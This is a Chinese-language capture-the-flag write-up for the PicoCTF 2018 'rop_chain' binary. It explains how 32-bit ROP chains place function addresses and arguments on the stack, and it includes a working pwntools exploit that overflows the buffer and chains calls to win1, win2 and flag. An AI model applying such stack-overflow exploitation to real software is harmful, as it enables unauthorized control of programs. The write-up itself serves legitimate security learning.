事前准备
就一个nx
进ida看看
ida调用vuln()明显栈溢出
有个flag,反向交叉引用跟一下
一个flag调用函数,有几个参数要求
function里面能看见几个设置win的
漏洞及其利用思路
这题实际上就是栈溢出,然后考了一下函数调用参数以及返回地址的一个部署规则
也就是标题的rop chain,
rop chain
32位下不涉及对于寄存器的使用,参数直接由栈中部署调用,需要满足的规则是
funcadd(调用地址)+retadd(返回地址)+agrsadd(调用参数地址)
这只是单个链子,但实际上栈溢出是直接劫持程序执行流,所以后面要执行其它函数就在retr出写上调用地址就行了,而stack overflow覆盖的也就是ret地址。也就是说ret和调用地址本质上是一个东西,只是这里为了区分,分开来表述。
由此,那么func的参数调用完了就是ret函数的参数地址,也就是
func1add(调用地址)+func2add(返回地址)+agrs1add(函数1参数地址)+agrs2add(函数2add)+.....
这就是rop chain
使用
而这题涉及两个函数的两个参数,一个是win2的-1163220307(0xBAAAAAAD)
数字记得ida 按H转hex放payload,不然会报out of range
另一个就是flag函数的-559039827(0xDEADBAAD)
exp:
from pwn import*
p=remote('node4.buuoj.cn', 26992)
#p=process('./PicoCTF_2018_rop_chain')
#p=gdb.debug('./PicoCTF_2018_rop_chain')
elf=ELF('./PicoCTF_2018_rop_chain')
context(arch='i386',log_level = 'debug',os = 'linux')
mainadd=elf.symbols['main']
win2=0x080485F2
win1add=0x080485CB
win2add=0x080485D8
#win2(-1163220307)
flagadd=0x804862B
#flag(-559039827)
#下面是libc的泄露部分 ROPgadget --binary filename --only 'pop|ret' | grep 'eax’
payload= b'a'*(0x18+4) + p32(win1add)+p32(win2add)+p32(flagadd)+p32(0xBAAAAAAD)+p32(0xDEADBAAD)
p1=payload
p.sendline(p1)
p.interactive()
getflag:
另:
在win2的在bss段上的复制是的if内完成的,个人认为应该可以直接ret那段0x080485F2,但是不会有flag,不是很理解为什么